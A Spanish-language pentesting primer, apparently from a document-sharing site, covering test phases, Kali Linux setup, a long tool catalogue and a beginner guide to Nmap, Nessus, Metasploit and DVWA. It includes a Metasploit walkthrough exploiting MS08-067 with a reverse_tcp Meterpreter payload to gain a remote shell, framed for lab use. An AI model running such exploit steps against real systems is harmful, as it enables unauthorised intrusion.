Vous êtes sur la page 1sur 28

Como administrador de Sistemas una de nuestras responsabilidades y la mas importante

es mantener la seguridad de nuestra plataforma lo menos vulnerable posible y para esto


es importante que constantemente pongamos a prueba los mtodos de seguridad que
tenemos implementado y ademas podamos detectar cualquier vulnerabilidad que exista
antes de que esta sea aprovechado por un malintencionado.
Y es aqui donde entra el test de penetracin, conocida como pentest, que es el mtodo
de evaluar la seguridad de los equipos y las redes de comunicacin simulando un ataque
informtico a un servidor o red desde una fuente externa o interna. El proceso consiste
en un anlisis activo de todos los equipos de la red para detectar cualquier
vulnerabilidad de seguridad por una falla en la configuracin de los servidores o los
equipos de seguridad.
Los test de penetracin son muy importantes por las siguienes razones.
Determinar la viabilidad de un conjunto particular de vectores de ataque
Identificar las vulnerabilidades de alto riesgo que resultan de una combinacin
de vulnerabilidades de menor riesgo explotados en una secuencia particular
Identificar las vulnerabilidades que pueden ser difciles o imposibles de detectar
con los sistemas automatizados de la red o por software de deteccin de
vulnerabilidades.
Probar la capacidad de las defensas de la red para detectar con xito y responder
a los ataques
El Penetration Test se compone de dos fases de testeo:
Penetration Test Externo: el objetivo es acceder en forma remota a los equipos de la
organizacin y posicionarse como administrador del sistema. Se realizan desde fuera del
Firewall y consisten en penetrar la Zona Desmilitarizada (DMZ) para luego acceder a la
red interna. Se compone de un elevado nmero de pruebas, Para mencionar algunas:
Pruebas de usuarios y la fuerza de sus passwords.
Captura de trfico.
Deteccin de conexiones externas y sus rangos de direcciones.
Deteccin de protocolos utilizados.
scanning de puertos TCP, UDP e ICMP.
Intentos de acceso va accesos remotos.
Anlisis de la seguridad de las conexiones con proveedores, trabajadores
remotos o entidades externas a la organizacin.
Pruebas de vulnerabilidades existentes y conocidas en el momento de realizacin
del Test.
Prueba de ataques de Denegacin de Servicio.
Penetration Test Interno: este tipo de testeo trata de demostrar cual es el nivel de
seguridad interno. Se deber establecer que puede hacer un atacante interno y hasta
donde ser capaz de penetrar en el sistema siendo un usuario con privilegios bajos. Este
Test tambin se compone de numerosas pruebas:
Anlisis de protocolos internos y sus vulnerabilidades.
Autenticacin de usuarios.
Verificacin de permisos y recursos compartidos.
Test de los servidores principales (WWW, DNS, FTP, SMTP, etc.).
Test de vulnerabilidad sobre las aplicaciones propietarias.
Nivel de deteccin de la intrusin de los sistemas.
Anlisis de la seguridad de las estaciones de trabajo.
Seguridad de la red.
Verificacin de reglas de acceso.
Ataques de Denegacin de Servicio
Actualmente existen distribuciones de Linux que pueden ser de gran ayuda cuando
vayamos a llevar a cabo esta tarea de test de penetracin. Para mencionar algunas
Backtrack Linux y Kali Linux que es sucesor de Backtrack. Estas distribuciones tienen
varias herramientas de deteccin de vulnerabilidades. Mas adelante hablar un poco de
estas distribuciones.
Gua para realizar test de penetracin.
Vulnerabilityassessment publica una interesante gua para realizar test de intrusin, se
llama Penetration Testing Framework. Es una gua muy completa y actualizada donde
adems de explicar los pasos de un test de penetracin, muestran herramientas y
manuales muy interesantes.

La gua est dividida en las fases de un test de penetracin:

Obtener informacin de la red.
Descubrir elementos de la red.
Enumerar servicios.
Exploracin de vulnerabilidades.
Penetracin.

Adems incorpora unos captulos adicionales para test de penetracin especficos:
Test penetracin Bluetooth.
Test penetracin Cisco.
Test penetracin Wifi.
Test penetracin Citrix.
Test penetracin para servidores.

Penetration Testing Framework:
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

Kali Linux, pruebas de penetracin y auditoras de seguridad
Kali es una completa re-construccin de BackTrack Linux desde la base hacia arriba, y
se adhiere completamente a los estndares de desarrollo de Debian. Toda la nueva
infraestructura ha sido puesta en el lugar, todas las herramientas fueron revisadas y
fueron embaladas, y hemos cambiado a Git para nuestro VCS.

Ms de 300 herramientas de pruebas de penetracin: Despus de revisar todas las
herramientas que se incluyen en BackTrack, hemos eliminado una gran cantidad de
herramientas que, o bien no funcionaban o tenan otras herramientas disponibles que
proporcionan una funcionalidad similar.
Gratis y siempre lo ser: Kali Linux, al igual que su predecesor, es completamente
gratis y siempre lo ser. Nunca, jams, tendrs que pagar por Kali Linux.
Git rbol de cdigo abierto: Somos partidarios enormes de software de cdigo
abierto y nuestro rbol de desarrollo est disponible para todos y todas las fuentes estn
disponibles para aquellos que desean modificar y reconstruir paquetes.
Obediente a FHS: Kali ha sido desarrollado para cumplir con el Estndar de jerarqua
del sistema de ficheros, permitiendo que todos los usuarios de Linux puedan localizar
fcilmente archivos binarios, archivos de soporte, bibliotecas, etc.
Amplio apoyo a dispositivos inalmbricos: Hemos construido Kali Linux para que
soporte tantos dispositivos inalmbricos como sea posible, permitiendo que funcione
correctamente en una amplia variedad de hardware y hacerlo compatible con varios
USB y otros dispositivos inalmbricos.
Kernel personalizado con parches de inyeccin: Como probadores de penetracin, el
equipo de desarrollo a menudo tiene que hacer evaluaciones inalmbricas para que
nuestro kernel tenga los ltimos parches de inyeccin incluidos.
Entorno de desarrollo seguro: El equipo de Kali Linux est compuesto por un
pequeo grupo de personas de confianza que slo puede comprometer e interactuar con
los paquetes de los repositorios, haciendo uso de mltiples protocolos seguros.
Paquetes firmado con PGP y repos: Todos los paquetes de Kali son firmados por cada
desarrollador individualmente cuando se construyen y son comprometidos. Los
repositorios posteriormente firman los paquetes tambin.
Multi-lenguaje: Aunque las herramientas de penetracin tienden a ser escritas en
Ingls, nos hemos asegurado de que Kali tenga soporte multilinge, lo que permite a
ms usuarios poder operar en su idioma nativo y encontrar las herramientas necesarias
para el trabajo.
Totalmente personalizable: Estamos completamente conciente de que no todo el
mundo estar de acuerdo con nuestras decisiones de diseo por lo que hemos hecho lo
ms fcil posible para nuestros usuarios ms aventureros puedan personalizar Kali
Linux a su gusto, todo el camino hasta el ncleo.
Soporte ARMEL y ARMHF: Dado a que los sistemas basados en ARM son cada vez
ms frecuentes y de bajo costo, sabamos que el soporte de ARM de Kali tendran que
ser tan robusta como podramos administrar, resultando en instalaciones que trabajan en
sistemas de ARMEL y ARMHF. Kali Linux tiene repositorios ARM integrado con la
lnea principal de distribucin de modo que las herramientas para ARM sern
actualizada en relacin con el resto de la distribucin. Kali est disponible para los
dispositivos ARM siguientes:
rk3306 mk/ss808
Raspberry Pi
ODROID U2/X2
MK802/MK802 II
Samsung Chromebook
Kali est diseado especficamente para las pruebas de penetracin y, por tanto, toda la
documentacin de este sitio asume el conocimiento previo del sistema operativo Linux.
Error al arrancar la mquina virtual, en virtualbox:
Ocurri un error fatal durante la ejecucin de la mquina virtual! La mquina virtual
ser apagada. Se sugiere que copie el siguiente error para una evaluacin posterior.
The guest is trying to switch to the PAE mode which is currently disabled by default in
VirtualBox. PAE support can be enabled using the VM settings (System/Processor).
ID error: PAEmode
Gravedad: Error fatal
Solucin, en virtualbox Ajustes de los clientes -> Sistema -> Procesador -> habilitar
PAE / NX
Tutorial de instalacin
Manuales
Aadir repositorios:
#nano /etc/apt/sources.list
Esto nos abrira el sources.list y colocamos las siguientes lineas debajo de la de kali
deb http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
Y ahora para actualizar el sistema con los nuevos repositorios, colocamos lo siguiente
en la consola:
#apt-get update && apt-get upgrade && apt-get dist-upgrade
repos
Con el fin de tener un apropiado funcionamiento del mouse y la integracin de pantalla
as como compartir carpetas con el sistema principal, necesitara instalar las adiciones de
husped de VirtualBox.
Una vez que haya arrancado su mquina virtual de Kali Linux, abra una ventana de
terminal y ejecute el siguiente comando para instalar las cabeceras del kernel de Linux.
#apt-get update && apt-get install -y linux-headers-$(uname -r)
Una vez completado esto, se pueden adjuntar los Guest Additions CD-Rom. Esto puede
ser hecho seleccionando Devices del Menu de VirtualBox y seleccionando Install
Guest Additions. Esto montara la iso GuestAdditions a el virtual CD Drive en su
maquina virtual Kali Linux. Cuando se le pida autoejecutar el CD, haga clic en el botn
Cancel.
Desde una ventana de terminal, copie el archivo VboxLinuxAdditions.run de Guest
Additions CD-Rom a la ruta en el sistema local asegurandose que sea ejecutable y el
archivo pueda correr al iniciar la instalacin.
cp /media/cd-rom/VBoxLinuxAdditions.run /root/
chmod 755 /root/VBoxLinuxAdditions.run
cd /root
./VboxLinuxAdditions.run
Reinicie su VM Kali Linux para completar la instalacin de las adiciones de huespd.
Ahora debera tener completa integracin del mouse y pantalla, as como la capacidad
de compartir carpetas con el sistema principal.
Creacin de carpetas compartidas en el sistema principal:
Desde el administrador de la VirtualBox, seleccione su instancia de Kali Linux VM y
haga clic en el enlace Shared Folders en el panel derecho de la ventana. Esto abrir
una ventana emergente para agregar carpetas. Dentro de esta ventana, haga clic en el
icono para agregar una carpeta.
En la caja de texto de la ruta de carpeta, proporcione la ruta a la carpeta que desea
compartir, o haga clic en la flecha descendente para navegar hacia la ruta de su sistema
principal. Seleccione las casillas de verificacin que permiten el Auto-mount y Make
Permanent y haga clic en el botn OK ambas veces cuando se le solicite.
Ms info sobre creacin de carpetas compartidas

Listado de herramientas:
Tcpflow (monitorizar trfico red)
Intrace
Zenmap (Escner de puertos)
Sqlninja (SQL Server)
Acccheck (SMB Samba)
Forensics mode
Offline password cracking como John the Ripper
Guymager (creacin imgenes)
Chkrootkit (anti rootkit)
Metasploit
Armitage
p0f
DDMS
apktool
Herramientas DNS
Anlisis DNS
dnsdict6
dnsenum
dnsmap
dnsrecon
dnsrevenum6
dnstracer
dnswalk
fierce
maltego
nmap
urlcrazy
Identificacin Host
fragroute
fragrouter
wafw00f
alive6
arping
cdpsnarf
detect-new-ip-6
detect-sniffer6
dmitry
dnmap-client
dnmap-server
fping
hping3
inverse_lookup6
miranda
ncat
netdiscover
nmap
passive_discovery6
thcping6
wol-e
xprobe2
Scners de Red
dmitry
dnmap-client
dnmap-server
netdiscover
nmap
Deteccin Sistema Operativo (OS Fingerprinting)
dnmap-client
dnmap-server
miranda
nmap
Herramientas OSINT ( Essential OSINT Tools for Social Engineering)
casefile
creepy
dmitry
jigsaw
maltego
metagoofil
theharvester
twofi
urlcrazy
Anlisis Samba
accheck
nbtscan
nmap
Anlisis SNMP
braa
cisco-auditing-tool
cisco-torch
copy-router-config
merge-router-config
nmap
onesixtyone
Anlisis SSL
sslcaudit
ssldump
sslh
sslscan
sslsniff
sslstrip
sslyze
stunnel4
tlssled
Anlisis de Trfico
cdpsnarf
intrace
irpas-ass
irpass-cdp
p0f
tcpflow
wireshark
Anlisis de VOIP
ace
enumiax
Anlisis VPN
ike-scan
Anlisis Vulnerabilidades
cisco-auditing-tool
cisco-global-exploiter
cisco-ocs
cisco-torch
yersinia
Anlisis Base de Datos (SQL)
bbqsql
dbpwaudit
hexorbase
mdb-export
mdb-parsecsv
mdb-sql
mdb-tables
oscanner
sidguesser
sqldict
sqlmap
sqlninja
sqlsus
tnscmd10g
Herramientas Fuzzing (Fuerza Bruta)
bed
fuzz_ip6
ohrwurm
powerfuzzer
sfuzz
siparmyknife
spike-generic_chunked
spike-generic_listen_tcp
spike-generic_send_tcp
spike-generic_listen_upd
burpsuite
powerfuzzer
webscarab
webslayer
websploit
wfuzz
xsser
zaproxy
Identificacin de CMS
blindelephant
plecost
wpscan
Proxys
burpsuite
paros
proxystrike
vega
webscarab
zaproxy
Herramientas Web
apache-users
burpsuite
cutycapt
dirb
dirbuster
vega
webscarab
webslayer
zaproxy
Herramientas GPU
oclhashcat-lite
oclhashcat-plus
pyrit
Herramientas Off-line
cachedump
chntpw
cmospwd
crunch
dictstat
hashcat
hash-identifier
john the ripper
johnny
lsadump
maskgen
oclhashcat-lite
oclhashcat-plus
ophcrack
ophcrack-cli
policygen
pwdump
pyrit
rainbowcrack
rcracki_mt
rsmangler
samdump2
sipcrack
sucrack
truecrack
Herramientas Online
accheck
burpsuite
cewl
cisco-auditing-tool
dbpwaudit
findmyhash
hydra
hydra-gtk
medusa
ncrack
onesixtyone
patator
phrasendrescher
thc-pptp-bruter
webscarab
zaproxy
Ataques Bluetooth
bluelog
bluemaho
blueranger
btscanner
fang
spooftooph
Herramientas Wireless Wifi
aircrack-ng
aireplay-ng
airmon-ng
airodump-ng
asleap
cowpatty
eapmd5pass
fern-wifi-cracker
genkeys
genpmk
giskismet
kismet
mdk3
wifiarp
wifidns
wifi-honey
wifiping
wifitap
wifite
zbassocflood
zbconvert
zbdsniff
zbdump
zbfind
zbgoodfind
zbid
zbreplay
zbstumbler
Herramientas NFC
mfcuk
mfoc
mifare-classic-format
nfc-list
nfc-mfclassic
Sniffers de Red
darkstat
dnschef
dnsspoof
dsniff
ettercap-graphical
hexinject
mailsnarf
netsniff-ng
passive_discovery6
sslsniff
tcpflow
urlsnarf
webmitm
webspy
wireshark
ettercap-graphical
evilgrade
fake_advertise6
fake_dns6d
fake_dnsupdate6
fake_mipv6
fake_mld26
fake_mld6
fake_mldrouter6
fake_router6
fake_solicitate6
fiked
macchanger
parasite6
randicmp6
rebind
redir6
sniffjoke
sslstrip
tcpreplay
wifi-honey
yersinia
Herramientas VoIP
iaxflood
inviteflood
ohrwurm
protos-sip
rtpbreak
rtpflood
rtpinsertsound
rtpmixsound
sctpscan
siparmyknife
sipp
sipsak
svcrack
svcrash
svmap
svreport
svwar
voiphopper
Sniffers Web
burpsuite
dnsspoof
driftnet
ferret
mitmproxy
urlsnarf
webmitm
webscarab
webspy
zaproxy
Backdoors
cymothoa
dbd
intersect
powersploit
sbd
u3-pwn
Herramientas de Tunneling
cryptcat
dbd
dns2tcpc
dns2tcpd
iodine
miredo
ncat
proxychains
proxytunnel
ptunnel
pwnat
sbd socat
sslh
stunnel4
updtunnel
Debuggers (Decompiladores) y Reversing
edb-debugger
ollydbg
jad
rabin2
radiff2
rasm2
recstudio
recstudio-cli
apktool
clang
clang++
dex2jar
flasm
javasnoop
radare2
rafind2
ragg2
ragg2-cc
rahash2
rarun2
rax2
Herramientas Stress de Red (Web, Wlan)
denial6
dhcpig
dos-new-ip6
flodd_advertise6
flood_dhcpc6
flood_mld26
flood_mld6
flood_mldrouter26
flood_router6
flood_solicitate6
fragmentation6
inundator
kill_router6
macof
rsmurf6
siege
smurf6
iaxflood
invite flood
thc-ssl-dos
mdk3
reaver
Herramientas Android
android-sdk
apktool
baksmali
dex2jar
smali
Herramientas Anlisis Forense (Creacin imgenes, Suites, RAM, PDF)
autopsy
binwalk
bulk_extractor
chrootkit
dc3dd
dcfldd
extundelete
foremost
fsstat
galleta
tsk_comparedir
tsk_loaddb
affcompare
affcopy
affcrypto
affdiskprint
affinfo
affsignaffstats
affuse
affverify
affxml
blkcalc
blkcat
blkstat
bulk_extractor
ffind
fls
foremost
galleta
hfind
icat-sleuthkit
ifind
ils-sleuthkit
istat
jcat
mactime-sleuthkit
missidentify
mmcat
pdgmail
readpst
reglookup
sorter
srch-strings
tsk_recover
vinetto
binwalk
bulk_extractor
foremost
jls
magicrescue
pasco
pev
recoverjpeg
fifiuti
rifiuti2
safecopy
scalpel
scrounge-ntfs
affcat
affconvert
blkls
dc3dd
dcfldd
ddrescue
ewfacquire
ewfacquirestream
ewfexport
ewfinfo
ewfverify
fsstat
guymager
img_cat
img_stat
mmls
mmstat
tsk_gettimes
autopsy
dff
pdf-parser
peepdf
volafox
volatility

Pruebas de penetracin para principiantes: 5 herramientas para
empezar
Escrito por Sebastin Bortnik | publicado el Mar, 16/07/2013 - 12:06
numero-18
hackeo tico
hacking
herramientas
pentest
Realizar pruebas de penetracin es una tarea compleja, involucra un proceso en donde
se realizan distintos tipos de tareas que identifican, en una infraestructura objetivo, las
vulnerabilidades que podran explotarse y los daos que podra causar un atacante. En
otras palabras, se realiza un proceso de hacking tico para identificar qu incidentes
podran ocurrir antes de que sucedan y, posteriormente, reparar o mejorar el sistema, de
tal forma que se eviten estos ataques.

Para realizar una prueba de penetracin de forma profesional, es necesario sumar a los
conocimientos de hacking tico[1], otros aspectos fundamentales como: programacin,
metodologas, documentacin, entre otros. No obstante, esos aprendizajes suelen venir
una vez que se conocen y se saben utilizar muchas herramientas que son parte del
proceso de penetration testing. El presente artculo es un listado de las cinco
herramientas que debes conocer, instalar y probar para dar tus primeros pasos en este
arte.
Lo que vers a continuacin, es una pequea gua de por dnde empezar para aquellos
principiantes que deseen introducirse en el mundo del hacking tico y de las pruebas de
penetracin. Estas son, a mi criterio, las primeras herramientas que debers conocer, no
solo para comenzar a prepararte para realizar esta tarea, sino para empezar a
comprenderla.
1. NMAP

Imagen 1. Salida tradicional de ejecucin de Nmap (nmap.org)
En un proceso completo de pruebas de penetracin, existen instancias previas a ejecutar
esta herramienta pero, para dar los primeros pasos, probablemente sea la mejor forma de
comenzar. Nmap es una herramienta de escaneo de redes que permite identificar qu
servicios se estn ejecutando en un dispositivo remoto, as como la identificacin de
equipos activos, sistemas operativos en el equipo remoto, existencia de filtros o
firewalls, entre otros.
En palabras sencillas, cuando se va a atacar un servidor o dispositivo, el atacante podr
realizar distintas arremetidas en funcin del servicio: no es lo mismo daar un servidor
web, un servidor de base de datos o un router perimetral. Por lo tanto, en cualquier
despliegue, el primer paso ser identificar los servicios en la infraestructura, para decidir
cmo avanzar y, considerando que en una prueba de penetracin se imitan los pasos
de un atacante, tambin se iniciar de la misma manera.
Nmap es una herramienta de lnea de comandos (existen algunas interfaces grficas
pero, personalmente, no las recomiendo, aunque es una cuestin de gustos) donde se
debe indicar cul ser el o los objetivos y la serie de parmetros que afectarn la forma
en que se ejecuten las pruebas y los resultados que se obtienen. Puede instalarse tanto en
Linux, Windows, Mac u otros sistemas operativos.
En su forma tradicional, una lnea de comando sera la siguiente:
> nmap 172.16.1.1
En donde nmap es el comando en s mismo y 172.16.1.1 es el objetivo (que tambin
puede ser indicado con un nombre de dominio). La respuesta a estos comandos ser un
listado de los puertos abiertos o cerrados en dicha direccin. La ejecucin sin
parmetros ejecuta un escaneo sencillo a los 1000 puertos ms comunes (vase que en la
imagen se muestra uno abierto y 999 cerrados), realizando anteriormente un ping para
ver si el equipo est vivo (si el equipo no responde al ping, no se realizar el test de los
puertos).
Cuando agregas parmetros puedes obtener mejores resultados. Algunos parmetros
comunes para tener en cuenta son:
[-iL] puedes indicar una lista de equipos o redes a escanear. > nmap iL hosts.txt
[-sP] solo escanea con un ping. Es una buena forma de ver cuntas direcciones IP se
pueden checar. Una vez que se tienen enlistadas, se podr ir solo con las que estn
vivas.
[-P0] es la forma de omitir el ping e ir directo al escaneo de puertos. Muchos sistemas
no responden el ping como mtodo de seguridad, por lo que, escanearlos de todas
formas, tambin puede ser til en entornos ms reales (no es necesario para los
entornos de aprendizaje inicial).
[-p] lista los puertos que se desean escanear. > nmap iL hosts.txt p 22,25,80,445
[-sV] intenta determinar la versin del servicio en el objetivo.
[-O] informa el sistema operativo en el objetivo.
Una vez ejecutado Nmap, ya se conocen cules son los servicios (al menos los
identificados) que se estn ejecutando en el blanco de la prueba de penetracin. Ahora
ya se puede pasar a las siguientes etapas, en donde se utilizar esta informacin para
comenzar la bsqueda de vulnerabilidades en la infraestructura y en los servicios
identificados.
Ficha tcnica
Herramienta: Nmap
Sitio web: http://nmap.org/
Cmo empezar: instalarlo, ejecutar un comando sencillo hacia una direccin IP y luego
probar agregando parmetros (nmap --help puede brindar ms informacin) o
ejecutar para mltiples direcciones IP (que deben ser indicadas en un archivo TXT).
Ms informacin: Recomiendo este artculo con 30 comandos para ver y analizar las
diferencias en las respuestas. Tambin est el libro oficial para explotar al mximo la
funcionalidad de Nmap, escrito por su creador, Gordon Fyodor Lyon.
2. NESSUS
Una vez que se tienen identificados los servicios que se estn ejecutando, se puede
comenzar el uso de las herramientas que sirven para identificar vulnerabilidades en los
servicios. En este campo, la mejor herramienta para introducirse en este mundo es
Nessus, otra aplicacin gratuita (solo para uso hogareo, suficiente para los fines de este
artculo; en el caso de fines profesionales es necesario usar la versin de pago) que, por
su base de datos y su facilidad de uso, es la preferida en este aspecto.
Aunque posee una lnea de comandos, considero que su interfaz grfica, muy completa
e intuitiva, es una forma sencilla de comenzar a probar esta herramienta.
Nessus posee una extensa base de datos de vulnerabilidades conocidas en distintos
servicios y, por cada una de stas, posee plugins que se ejecutan para identificar si la
vulnerabilidad existe (o no) en determinado equipo objetivo. En resumen, al ejecutarse
Nessus sin parmetros especficos, se probarn miles de vulnerabilidades y se obtendr
como resultado un listado de las vulnerabilidades que fueron identificadas.
La lgica de Nessus es similar a Nmap: hay que indicar el objetivo, en este caso la o las
direcciones IP y los parmetros. Estos permiten limitar el campo de bsqueda,
especialmente si en una etapa anterior se identificaron los servicios: no tiene sentido
buscar vulnerabilidades conocidas en Linux en un equipo que tiene instalado Windows.

Imagen 2. Seccin de configuraciones generales de exploracin de Nessus
(tenable.com)
Ficha tcnica
Herramienta: Nessus
Sitio web: http://www.tenable.com/products/nessus/
Cmo empezar: Si tienes Windows, instalarlo ah por interfaz grfica es muy sencillo,
funciona para conocerlo por primera vez. Recomiendo buscar el listado de plugins y
ejecutar pruebas limitando solo a determinados servicios.
Ms informacin: Un listado completo de plugins est disponible en el sitio web, la
lectura de las descripciones es muy til para aprender ms sobre vulnerabilidades en
diversas plataformas (http://www.tenable.com/plugins/index.php?view=all).
3. Metasploit Framework
Una vez identificados los servicios y sus vulnerabilidades, el paso siguiente sera la
explotacin de las vulnerabilidades. Es decir, primero se tiene que probar si realmente
las vulnerabilidades identificadas permiten a un atacante causar algn dao. Despus se
intenta conocer cul sera ese dao. A pesar de que se haya identificado una
vulnerabilidad en la instancia anterior, podra ser que, al momento de intentar
explotarla, existan otras medidas de control que no hayan sido consideradas, otras capas
de seguridad o distintas variables que podran hacer ms complicada la explotacin de
la misma. Asimismo, si se logra explotar la vulnerabilidad, podra comprobarse y
dimensionar cul podra ser el dao hacia la organizacin, en funcin de la informacin
o sistemas que estuvieran detrs de dicha vulnerabilidad.
Para este fin, Metasploit es la herramienta ideal para hacer estas pruebas. Mientras
Nessus posee una base de datos de vulnerabilidades, Metasploit posee una base de
exploits que podran aprovecharlas. En otras palabras, en lugar de revisar si hay una
vulnerabilidad en un equipo remoto, directamente se intenta la ejecucin de un exploit y
se simulan las consecuencias posteriores, en caso de que ste se ejecutara con xito.
Al igual que Nessus, su versin de lnea
de comandos, msfconsole, es la tradicional, incluso recomendable para la
automatizacin. Sin embargo, su interfaz grfica es muy conveniente para dar los
primeros pasos y tener una mayor comprensin.
Si quieres probar la lnea de comandos puedes hacer las primeras pruebas. En Windows
puedes abrirla directamente desde el Men de inicio como Metasploit Console. En
Linux, tan solo puedes ejecutar un simple comando:
> sudo msfpro
Una vez que ests en la consola, vers que cambia el prompt:
msf-pro >
Hay una serie de comandos sencillos para dar los primeros pasos. Search, use, show, set
y exploit son probablemente los mejores. Probaremos explotar una de las
vulnerabilidades ms famosas en Windows, la MS 08-067 (para ver el boletn de la
vulnerabilidad, clic aqu), una vulnerabilidad crtica descubierta en 2008 que permita
ejecucin remota de cdigo.
Si en un paso anterior (con Nessus) encontraste que el sistema posee dicha
vulnerabilidad (con Nmap podras haber encontrado que ests lidiando con una mquina
Windows), sera lgico con search encontrar el exploit a utilizar.
msf-pro > search exploits 08-067
Entre los resultados, lo ms importante es que podrs encontrar la ruta del exploit y
luego con use podrs decidir utilizarlo (s, asombroso):
msf-pro > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >
El comando show mostrar las alternativas para ejecutar el exploit.
msf exploit(ms08_067_netapi) > show options
Luego, se podr utilizar el comando set para configurar el exploit antes de la ejecucin.
En este caso, definiremos el local host (nuestra direccin IP), al host remoto (la
direccin IP de destino, donde se supone que ya sabemos existe la vulnerabilidad) y el
payload (accin a ejecutar, en este caso usaremos reverse_tcp que nos dar una consola
remota en el equipo).
msf exploit(ms08_067_netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST [192.168.0.1]

msf exploit(ms08_067_netapi) > set RHOST [192.168.0.10]
Finalmente, solo debes ejecutar exploit.
msf exploit(ms08_067_netapi) > exploit
Si pudiste hacer estos pasos correctamente, podrs ver una consola remota en el equipo
Windows y podrs testearla con comandos regulares de consola (ipconfig, dir, etc.).
Ficha tcnica
Herramienta: Metasploit
Sitio web: http://www.metasploit.com/
Dnde empezar: una vez instalado, haz la prueba con alguna vulnerabilidad que
permita el uso de una consola meterpreter remota, son sencillas de probar si fueron
exitosas. Hay que tener precaucin con las vulnerabilidades de denegacin de servicio.
Ms informacin: Existe un documento oficial completo para dar los primeros pasos en
Metasploit Framework, muy recomendable, Metasploit Community Getting Started
Guide".
4. DVL DVWA
Para probar las tres herramientas anteriores, es necesario definir un sistema objetivo, un
sistema en el que se harn las pruebas. Una psima costumbre de quienes inician en este
mbito es realizar sus primeros pasos y pruebas en sistemas pblicos de Internet, en un
entorno real. Esto podra acarrear problemas legales y no es la forma correcta (ni tica)
de realizarlo. Para aprender a usar estas herramientas, se debe utilizar un entorno de
pruebas, es decir, un escenario de investigacin en donde uno pueda tener
acercamientos sin riesgos de afectar algn entorno en produccin.
Para ello, existen dos herramientas excelentes: Damn Vulnerable Linuxy (DVL) y
Damn Vulnerable Web Application (DVWA). Aunque el primero est descontinuado,
an se puede conseguir en Internet para hacer los primeros pasos y primeras pruebas. Se
trata de un sistema operativo y una aplicacin web que poseen todo tipo de
vulnerabilidades, de tal forma que, la persona que los utiliza, puede intentar explotarlas
y experimentar.
Tambin es posible construir nuestro propio sistema de pruebas: tan solo instala
cualquier sistema operativo (desactiva las actualizaciones o instala una versin antigua)
y sobre l comienza a instalar servicios en versiones anteriores a la ltima. De esta
forma, tendrs tu propio sistema vulnerable para hacer pruebas. Este entorno es el
correcto para dar tus primeros pasos en Penetration Testing.

Imagen 4. Damn Vulnerable Web Application (computersecuritystudent.com)

Ficha tcnica
Herramienta: Damn Vulnerable Web Application
Sitio web: http://www.dvwa.co.uk/
Dnde empezar: Instala el programa e intenta encontrar y explotar vulnerabilidades
comunes con la herramienta anterior.
Ms informacin: la aplicacin posee informacin adicional, da clic aqu encontrars
los aspectos ms importantes para instalarlo.
5. Kali Linux (Backtrack)
Finalmente, hay una distribucin de Linux diseada exclusivamente para Penetration
Testing. Las herramientas antes descritas (Nmap, Nessus, Metasploit) estn disponibles
y, no solo eso, tambin hay muchas ms herramientas para continuar practicando. Por
ejemplo, Kali (antes conocida como Backtrack) es una distribucin que posee todo tipo
de herramientas preinstaladas que sirven para realizar Penetration Testing.
El orden en que se presentaron las herramientas no es aleatorio, es lo recomendable para
comenzar a experimentar. Primero hay que probarlas de forma aislada y luego, abocarse
completamente a Kali Linux.
Kali Linux puede ser descargada como imagen ISO o directamente para VMWare. Una
vez que inicias un sistema Kali Linux, vers un men muy extenso con ms de 300
herramientas para pentesters. Nmap y Metasploit Framework estn incluidos en esta
lista, entre otros.

Imagen 5. Men de Kali Linux (voiceofgreyhat.com)
Para una mejor comprensin, las herramientas son presentadas en diferentes categoras,
aqu algunas de las ms importantes:

Information gathering: Herramientas de recoleccin de datos que ofrecen informacin
sobre los objetivos de los anlisis, especialmente herramientas de DNS, dominios y
direcciones IP. Nmap est en esta categora.
Aplicaciones web: Herramientas diseadas para realizar anlisis en sitios web a nivel
de servidores. Recomendaciones para esta seccin: Nikto y w3af para encontrar
vulnerabilidades en los sitios.
Ataques a contraseas: Herramientas para hacer cracking de contraseas, de forma
tal, que se prueban ataques de fuerza bruta o diccionario para encontrar las
contraseas de acceso correctas a un formulario o sistema.
Ataques inalmbricos: Cuando un atacante est conectado a una red wireless puede
ejecutar algunos ataques, especialmente cuando intenta interceptar informacin que
est siendo transmitida mediante esa red inalmbrica. Estas herramientas permiten
analizar la red y diagnosticar su seguridad.
Herramientas de explotacin: Metasploit Framework es la clave de esta seccin, entre
otras herramientas que permiten explotar vulnerabilidades.
Sniffing/Spoofing: Wireshark y Ettercap son las herramientas ms recomendables. Con
ellas, es posible ver el trfico de red que podra permitir el acceso a informacin
confidencial, entre otros ataques.
Ingeniera inversa: Ollydbg es uno de los mejores debuggers que podran ayudar a
comprender qu acciones realiza un archivo en el sistema por medio de un proceso de
ingeniera inversa.
Forense: Tambin hay una serie de herramientas para realizar anlisis forenses sobre
un sistema, es decir, se puede analizar el estado de un sistema justo en el momento
que ocurri determinado incidente; adems se identifican acciones pasadas o archivos
ocultos en el mismo, entre otros.

Ficha tcnica
Herramienta: Kali Linux
Sitio web: http://www.kali.org/
Cmo empezar: primero, probar las herramientas antes listadas pero desde dentro de
Kali Linux y luego, adentrarse en su men, donde las herramientas estn
categorizadas, lo que permitir mayor comprensin.
Ms informacin: hay documentos disponibles en el sitio oficial en varios idiomas, para
conocer ms en detalle el kit de herramientas.
6. La sexta herramienta: nuestro cerebro
Hay una falsa idea de que una prueba de penetracin es la ejecucin de una serie de
herramientas en un orden determinado. Esto no es as, la eleccin de las herramientas, la
ejecucin de tareas manuales y la utilizacin de una metodologa, son tan solo algunas
de las variables para convertirse en un profesional de Penetration Testing. Sin embargo,
un factor comn en todo el proceso, es que tenemos que pensar.
Hay
dos tipos de ethical hacker, aquel que solo lee y utiliza lo que dicen las herramientas y
aquel que interpreta y pone su inteligencia para ofrecer un informe que realmente brinde
valor a su cliente, aquella empresa u organizacin que necesita conocer cmo mejorar la
proteccin de la informacin y su infraestructura.
Los atacantes no solo ejecutan herramientas, sino que piensan cmo atacar. Al momento
de realizar un Pentest es fundamental no perder de vista nuestra herramienta principal:
pensar. Independientemente de las herramientas de software que utilicemos, pensar
constantemente como un atacante, es la clave principal para realizar un Penetration
Testing de forma exitosa.

Qu debes hacer ahora? Solo toma esta gua, descarga las herramientas e intenta
utilizarlas. Probablemente en una primera instancia tengas ms preguntas que respuestas
y si as fuera, esa es la mejor manera de comenzar.